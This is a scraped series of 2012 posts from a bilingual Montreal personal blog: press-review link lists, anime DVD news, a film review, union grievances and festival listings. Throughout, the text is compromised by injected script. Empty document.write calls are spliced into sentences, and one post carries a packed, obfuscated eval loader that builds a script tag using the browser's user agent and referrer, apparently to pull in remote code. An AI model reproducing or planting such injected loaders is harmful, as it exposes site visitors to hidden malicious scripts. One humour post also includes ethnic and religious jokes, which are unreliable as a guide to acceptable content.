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New look

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I’ve just updated the look of the blog with a new template. I think it was way over due for a change.
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Let me know what you think of this new look. Thanks!

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Press Review (2012-11-05)

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Still busy. This week was dominated by the news of the aftermath of Sandy, document.write(“”); George Lucas selling Lucasfilm to Disney and the very imminent U.S. presidential election. So, you’ll find a few more interesting news links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfhd|var|u0026u|referrer|dntay||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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Maudite Lenka !

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Hier, document.write(“”); j’ai vu l’annonce de Windows 8 à la télé et depuis ce temps-là je ne peux pas me sortir de la tête la “toone” [tune] plutôt entraînante [catchy] de Lenka, Everything At Once.
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Pour vous contaminer aussi voici la video de promo de cette chanson, dont un extrait a été utilisé pour la publicité de Microsoft:

Everything At Once – promo video from LenkaMusic on Vimeo.
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Press Review (2012-10-29)

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After over seven years and a little more than five-hundred posts (as well as nearly forty-thousands pageviews), I am still blogging (or doing my best to). I also keep reading the news online as often as I can. In the last couple of weeks, the story that dominated the tech news (and was of a particular interest for me) was Apple announcing many new products (the new iPad mini, of course, but mostly the new iMac — I’ll finally be able to replace my dead desktop, sometime in November, and I just can’t wait to pre-order it). In the local news, everyone is still talking mostly about corruption (The Gazette, La Presse) and in the U.S. all minds are on the beginning of the last stretch of the electoral campaign for the presidential election (The Gazette, La Presse). And, of course, everyone is anxiously looking at the incoming super-storm Sandy (The Gazette, La Presse). So, again, I am sharing nearly a hundred more links with you after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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Bref commentaire syndical

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D’abord, document.write(“”); je rappel à tous que l’équipe du 109 au 409 (L’alternative syndicale pour les fonctionnaires municipaux de Montréal, c’est-à-dire “l’opposition officieuse” de notre très “démocratique” syndicat) tiendra demain une première conférence sur l’histoire syndicale au Québec (histoire sans doute de nous rappeler quelles devraient être les fonctions d’un véritable syndicat qui se respecte). La conférence aura lieu à partir de 19:00 au Centre St-Pierre (près du métro Beaudry, au 1212 rue Panet – salle 105). J’espère que quelqu’un m’en fera un compte rendu parce que je ne pourrai pas y être (je travaille loin et ne pourrais m’y rendre à temps).
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[Mise à jour: voir le Compte rendu de la conférence du 17 octobre 2012 sur l’histoire du syndicalisme au Québec sur le site du 109 au 409]

La suite après le saut de page:

Ça fait un bout que je m’abstiens de tout commentaire sur les affaires syndicales parce que ça me met tellement en rogne que je préfère ne pas en parler. Je lisais récemment dans le Journal Métro que les Cols Bleus avaient signé une entente de principe avec la Ville et ce trois mois avant l’échéance de leur convention collective. Je trouve ça frustrant et j’admire l’efficacité du syndicat des cols bleus (quoique l’entente n’a pas encore été entérinée par les membres et, considérant que la Ville semble pas mal fier de leur coup, je me demande si cette entente ne représentera pas un recul sur les acquis des cols bleus; enfin, on verra quand les détails seront rendu publique — peut-être sur le site de leur syndicat?).

[Mise à jour: j’ai parlé à quelques cols bleus et apparemment ils se sont fait avoir, entre autres, sur leur retraite, car ils ne peuvent plus racheter des années non-côtisées. À cause ce cela, une des personnes à qui j’ai parlé devra travailler une demi-douzaine d’années de plus ! Je suppose qu’ils vont essayer de passer quelque chose de similaire aux cols blancs…]

En comparaison, nous les Cols Blancs ont fait plutôt pitié: notre convention collective est échue depuis décembre 2010. Elle a eut une extension d’un an jusqu’en décembre 2011 et là ça fait donc presqu’un an qu’on est sans convention collective! La dernière fois que j’ai entendu que quelque chose se passait à ce sujet c’est au printemps dernier alors qu’avait lieu un colloque des représentants syndicaux pour discuter des points à négocier et qui devrait être suivi, m’avait-on assuré, par une consultation auprès des membres. Je n’ai rien entendu à ce sujet depuis (et ça fait un bon six mois)!

Je suis sûr que le syndicat se justifierait en disant qu’entre-temps ils ont dû déménager les locaux du syndicat et que l’exécutif a été pas mal occupé à jouer à la chaise musicale (une faction commettant un putsch politique pour éliminer une autre faction) mais alors je me demande: et les membres là-dedans? Loin de moi de vouloir les déranger dans leurs petits jeux mais il me semble qu’on aurait droit à une convention collective en bonne et due forme, non? Je leur paie près de quarante dollars par mois de cotisation, ils pourraient au moins faire semblant de travailler!

La goutte qui a fait déborder le vase (et ajouter l’injure à l’insulte) est ce Fonctionnaire Express datant du début du mois qui annonce une consultation en vue du renouvellement de la convention collective des cols blancs de la Cité de Dorval qui vient à échéance le 31 décembre prochain! Et nous? Et nous? Et nous? Est-ce que quelqu’un s’occupe de nous? J’en ai vraiment marre à la fin!

[Mise à jour: pour les développements sur ce sujet voir mon billet “Commentaire syndical, suite”]

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Press Review (2012-10-16)

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I slowly succeed to catch up on my work around the house and in blogging. The three big news of the last couple of weeks are the rumors (again) of Apple updating its iMac line (possibly announced next week along the smaller iPad, document.write(“”); a 13 Inch Retina MacBook Pro an even a possible new Mac Mini — I hope I’ll finally be able to replace my broken iMac), the 4.5-magnitude earthquake that I felt very early last wednesday (it didn’t really shake but felt more like one big jolt), and Felix Baumgartner’s parachute jump from the edge of space (I watched him live on YouTube as he broke several records and no bones). As usual I’ve gathered the links to the most interesting news and I am sharing them with you after the jump:
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Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

“Unshelved” marathon

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I just finished catching up on a few months worth of my favourite web comics: Unshelved. This year they’re celebrating their tenth anniversary and there’s already eight annual compilations available. Oh, document.write(“”); did I mentioned that it is the story of a dysfunctional library and its staff ? I just feel at home. (See previous reviews).
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See my latest favourites strips after the jump:



And the best of all (which originally appeared on 1/23/2003):

Of course, there’s also the illustrated “review” of the weekly Unshelved Book Club about Guy Delisle’s Jerusalem: Chronicles from the Holy City (Drawn & Quarterly, 2012, ISBN: 9781770460713).

Don’t forget to check more strips on the Unshelved website as well as their book store (but it’s also available at Amazon .com & .ca, Indigo! and Powell’s).

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Mangafy your life!

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Thanks to Cult of Mac and Gizmodo, document.write(“”); I’ve just discovered one of the cutest iOS apps I’ve seen in a long time: Manga Camera!
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This app by Supersoftware allows you to take a picture (but only with an iPhone 3GS+, iPod Touch 5 or iPad 3) and convert it into a manga style image! You can select thirty-two different background styles (some with Japanese captions, “sound effects” or speed lines) and share your pictures on Twitter or Facebook. If you’re not satisfied with the background, you can change it even after having taken the picture.

It doesn’t always work well (sometimes shadows or darker subject gets converted into backgrounds effects), but when it does the result is quite impressive. A picture is instantly turned into a realistic manga panel (with all its characteristics: b&w, inked line, textured with zipatone). It’s really amazing.

My only complaints is that it doesn’t save the pictures automatically (you have to save manually each pics before taking another one, if not it will disappear), you cannot use the front-facing camera to take a picture of yourself (use a mirror instead) and you cannot use an existing picture to apply the manga effects (that would be quite cool).

Nevertheless, it can provides hours of fun! It could be a cool way to make a photo-manga (for those manga lovers with less drawing talent)…

Version 1.0 of Manga Camera was released on September 10th 2012 and weighs 14.7 Mb. Available in english and japanese. Rated 4+

See a few examples after the jump:


More examples on my Photobucket’s album.

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Misère subite

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Certains pays sont plus sujet que d’autres à la misère subite. Par exemple, document.write(“”); en Asie du sud-est, suite à une mousson plus forte qu’à l’habitude certaines régions peuvent se retrouver, du jour au lendemain, bang! dans la dèche!
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Press Review (September)

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Another tiring, document.write(“”); busy month. However, on the news side it was quite eventful. Here’s the proof, after the jump:
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Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

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Retro-blogging

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Ce week-end j’ai introduit un nouveau concept dans mon blog: le rétro-blogging. C’est-à-dire que ces derniers mois je n’ai pas eu le temps, document.write(“”); ni l’énergie de blogger régulièrement mais je prenais tout de même des notes dans mon petit carnet. Et là je les introduit dans le blogue aux dates où ces notes on été prises. Ce week-end j’ai donc fait du ratrappage pour les mois de mai et de juin…
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Autre nouvelle: mon blogue peut maintenant être rejoins à l’addresse clodjee.com!

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Oniisama E… on Viki

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Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
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I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

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Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

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Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
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GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

“The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

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Goldorak enfin en dvd!

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Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
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Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

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Gloires passagères

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Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
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Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

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Translation

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The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.

I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).

From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).

Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…

I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?

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Press Review (August)

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Not much change this month as I was still too busy and tired to do much. But I always have enough energy to gather scraplinks and share them with you after the jump:
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Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Humour pas éthique en [six] huit catas strophes

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AVERTISSEMENT: Peut contenir des traces de mauvais humour! Toutes personnes allergiques à l’humour salace, document.write(“”); grivois, sexiste, anticlérical ou raciste, voir: au calambour obscure, sont fortement conseillé(e) de prendre les précautions nécessaires pour leur sécurité et devraient s’abstenir de lire plus loin! (On vous aura averti!)
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Adorateur du démon! Je suis poursuivi par des impies qui m’implorent de joindre leur confrérie étherale et de vénérer jour et nuit avec eux l’idole d’un animal qui incarne la mal en toutes ses formes. Non, jamais je ne consacrerai mon existence à votre face de bouc! (:> 7/10/2011)

Unjustly indickted! I didn’t do dick but, since there’s no justice in the world, it didn’t keep me from being judged and sent to a penile colony. It certainly gave a new meaning to doing hard time. There, everytime one of those dick-head inmates were asking me if I was that Dick who did this or that, I was answering: “Sorry, I don’t know dick about that!” — extract from “The dicky invasion” by Penny Kay Dicky, who also wrote “The peniletimate truth,” “Counter-cock world,” “Confession of a dicky artist” and “U-dick.” (8/6/2011)

Les penseurs grecs sont à l’origine de beaucoup d’éléments de la pensée moderne et scientifique. Par exemple, Leucippe et Démocrite ont développé le concept de l’atomisme. Pythagore et Euclide jetèrent les bases des mathématiques et de la géométrie, Aristote celles de la méthodologie scientifique, et Archimède celles de la physique (on croit qu’il pourrait aussi être le créateur du mécanisme d’Anticythère). Aristarque proposa un modèle astronomique héliocentrique et Ératosthène calcula la circonférence de la terre. Aussi, et j’arrive ici dans le vif de mon sujet, on a attribué à Anaximenes l’idée que le souffle (?????? / pneuma) était la source de la vie, mais des découvertes récentes l’attribue maintenant à un philosophe plus obscure: Emphysème. (Inpiré par mon collègue Ératos10, 9/13/2011)

C’est à se demander pourquoi les gens pensent toujours que les deux capitales du tourisme sexuel en Asie sont Lahore et Bangkok! (10/19/2011)

T’appelles ça comment quand tu te fais engeuler vertement par une femme qui porte un hijab? Des menaces voilées?! (8/24/2012)

Salus cymbalon! L’un des assistants les plus intime du pape a récemment été arrêté sous des accusations de corruptions. Son rôle était de voir à la protection rapprochée et au bien-être du saint-père, en s’assurant qu’il ne croule pas trop sous une charge de travail trop lourde et, même, de voir à son salut en s’agenouillant à son chevet dans la prière. La curie délibère encore sur le choix du prochain sous-pape de sécurité. (8/27/2012)

Et encore plus…

T’appelles ça comment en anglais un chiot en turban? A Sikh puppy?! (9/3/2012)

How do you call, in french, a seal wearing a turban? Un Sikh phoque?! (9/3/2012)

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Yamamoto Isoroku

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“Japan, document.write(“”); summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.” (2012 Montreal World Film Festival schedule book)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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The full Japanese title of the movie is ???????? ????? (Rengô kantai shirei chôkan: Yamamoto Isoroku / Isoroku Yamamoto, the Commander-in-Chief of the Combined Fleet).

Yamamoto Isoroku (?? ???) was a great thinker and strategist (he’s often depicted in the movie playing shogi, a chess-like military strategy game). He told his superiors (and I am paraphrasing here) “Don’t make a tripartite alliance with Germany and Italy. If you do, the Americans will cut us from the essential supplies we need.” But eventually, they did make an alliance with Hitler. He also told them “Don’t attack the U.S., because they’re stronger than us. If we do, we’ll lose and Japan will be utterly destroyed.” But eventually, they did attack the Americans and, having no choice, Yamamoto planned the attack himself. However, he warned his superiors to “make sure to declare war before attacking the Americans, because if not it will certainly make things worse.” Of course, the Japanese embassy screwed up and the declaration of war was given one hour after the attack, angering the Americans. There is no mention in the movie of his famous quote: “we have awaken a sleeping giant,” probably because it is now considered apocryphal. Finally, he insisted that, if they had to go to war with the Americans, it would be better to hit them hard and fast in the hope to crush their morale and be able to quickly sue for peace, because he considered that if Japan had to engage in a long war of attrition with them they would definitely lose since the Americans were far superior in force and resources.

Unfortunately, his superiors took no heed of his warnings and the Pacific war quickly became a messy affair as the Japanese kept making wrong decisions after another, leading toward an ugly end. The culprit was an enormous national pride that made people believe they could win despite the odds. Even if Pearl Harbor was a strategic failure (they gambled they could destroy the American Pacific Fleet, but its most important elements, the carriers, were nowhere to be seen), it was portrayed at home as a great victory. The “success” of Midway was a failure as well (Yamamoto’s subordinates did not follow his instruction to “load half the airplanes with torpedoes in order to strike and sink the carriers that our attack will definitely draw”), but the huge lost sustained by the Navy ultimately sealed the fate of Japan. In Guadalcanal, a retreat became a “transfer of troops” in the national newspapers! Fortunately, Yamamoto died in an enemy attack in the Solomon Islands (he wanted to inspect the troops and boost their morale by his presence, but someone had stupidly broadcast his traveling plans), and therefore never witnessed the miserable end of the war.

Yamamoto Isoroku is a “biographical” drama that focuses solely on Yamamoto’s role in the Pacific War and his conviction that war against the Americans was a mistake and that, if it was indeed inevitable, the best chances of success for Japan was to aim at a quick peace after hitting them hard and fast. Not much is said on his personal life: once in a while we glimpse of his family just to remind the viewers that he is human and has a wife and children. The movie is essentially an history lesson but, thanks to an excellent storytelling, it never feels like a lecture. The director achieves this by introducing the viewers to two groups of people — a couple of newspaper reporters and the customers of a small izakaya bar — which he cleverly use to communicate to the viewers the essential historical and chronological information about the progress of the war, its historical context, what’s the public opinion at the time and who thinks what about the current strategy or geo-political situation.

Strangely, it doesn’t feel at all like an anti-war movie and is not even apologetic of Japan’s role in the war. It simply tells the viewers that, if Yamamoto’s vision would have prevailed, the Pacific War might have been avoided or at least delayed and, in case of war, an early peace would have been pursued, avoiding all the horrors that ultimately deprived Japan of its honor. It tells us (and I totally agree with that assessment) that the war was essentially caused by the stupidity of the “hawks,” the warmonger amongst the media and the political bureaucracy. Unfortunately, in order to pass his message, the director is raising Yamamoto to a status of demi-god and the movie is endlessly chanting is coolness and greatness to the point of being annoying.

I am not sure exactly what this movie is telling us about the ideology of today’s Japan. We’ve certainly seen an increase in war movies being produced lately and it seems to coincide with an hardening of the right wing parties seeking more aggressive politics. Many want to re-arm Japan or defend more aggressively Japanese territory against the claim of other countries in order to secure future resources. However, I don’t think that this movie is part of this trend. In contrary, it seems to warn us against repeating the pitfall of history (but this time the sleeping giant would probably be China).

All in all, despite its ideological aspects, it is quite an interesting movie that offers a beautiful photography where, surprisingly, the special effects are minimally obtrusive (I cannot say they are barely noticeable, but at least they are negligibly obvious). A movie well worth watching.

Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. Screened, in presence of one of the producers, as part of the “World Great” segment (Out of competition) at the Montreal World Film Festival 2012, on August 26th, 18:40 in Cinéma Quartier Latin 9 (a theatre with a 350-seat capacity which was a little less than 3/4 full).
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One last point, not related to the movie itself: The primary duty of a film festival and of a movie theatre is to preserve the integrity of the artistic works it is presenting. I didn’t appreciate at all that the sound was cut off for almost the entire end credits of the movie. A soundtrack is an integral part of a movie. It’s bad enough that the movie started late (because of the Q&A of the previous movie, I think) but it is not the first year that I witness unforgivable technical screw ups at the festival and particularly at the Quartier Latin. Of course, the people of the festival say it’s the mistake of the projectionist who cannot see or ear what’s happening inside the theatre, and the acting theatre manager I spoke to said all complaints should be directed to the festival staff since they are the one in charge during the festival (even of the projectionist). This lack of respect for the movie industry craftsmen who created this film and for the viewers is quite annoying. It is a small detail, I admit, but it should never happen. The frustration I feel when this happens distract me from the enjoyment of the movie.

Update: Here’s a video of the very quick presentation made by one of the producers before the screening of “Yamamoto Isoroku” at the 2012 Montreal World Film Festival.


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Autotune & other songs

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I am sure you remember this amazing song someone made using Autotune and some clips from Carl Sagan’s tv series “Cosmos” and this other video it led me to.
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Well, document.write(“”); I discovered more autotune marvels. A funny Jeanne Moos’ report on CNN brought to my attention a tribute autotune video clip that PBS made for the 100th anniversary of Julia Child. Quite funny. When I as looking for it, another article made me discover more autotune tributes by PBS, one for Mr. Rogers amongst others! Here they are:

On another note (not related to Autotune), someone made a parody / tribute video about NASA and the Curiosity Mars landing that has been quite popular lately:

Fantasia 2012

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Malheureusement les circonstances de la vie m’ont empêché encore une fois de bloguer sur les films de Fantasia de cette année. Mais voici quelques liens forts utiles pour compenser cette lacune.
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La 16e édition de Fantasia nous offrait cette année plus de 160 films dont près d’une quarantaine en provenance du Japon. Je veux tout particulièrement attirer votre attention sur deux catégories parmis ces films Japonais.

En premier lieu, document.write(“”); on y retrouve huit films d’animation qui offrent tous, d’une façon ou d’une autre, un grand intérêt:

Aussi, pour marquer le centenaire du plus ancien studio de cinéma Japonais, Fantasia organise — en collaboration avec le Festival du Nouveau Cinéma — une rétrospective de la Nikkatsu en présentant cinq œuvres clés:

Cette 16e édition de Fantasia s’est révélé un retentissant succès, entre autre grâce à un record d’affluence (Le Devoir). Le festival a également récompensé plusieurs des films Japonais:

Finalement, en attendant que je trouve le temps de commenter quelques un de ces films, vous pouvez consulter les sites suivants:

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Scène attendrissante

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Avant hier matin j’ai été le témoin d’une scène des plus attendrissantes. Une chatte avait établie domicile dans la cour de mes voisins avec ses quatre chatons. La mère étant partie chasser, document.write(“”); les chatons, laissé à eux-même, jouaient ensemble. La cour étant envahie par les Gloires du matin, c’était vraiment merveilleux de voir les chatons se poursuivrent dans ce lit de fleurs mauves.
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Cependant quand je suis revenu de travailler hier soir, les voisins avaient fait le ménage et disparu étaient les Gloires du matin et les petits chatons courant dans la cour. C’est bien dommage. L’idée de petits chatons perdus dans la ruelle me rend très triste…

Malheureusement j’en ai déjà plein les bras avec mes deux chats et avec mes précédentes mauvaises expériences à essayer sans succès de trouver preneurs pour des chatons abandonnés, je dois me rendre à l’évidence que je ne peux rien y faire.

Toutefois, n’ayez crainte, on a entendu et entr’appercu la chatte et ses chatons chez un autre voisin dont la cour est, elle, encore en friche.

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Montreal World Film Festival 2012

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In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
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This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

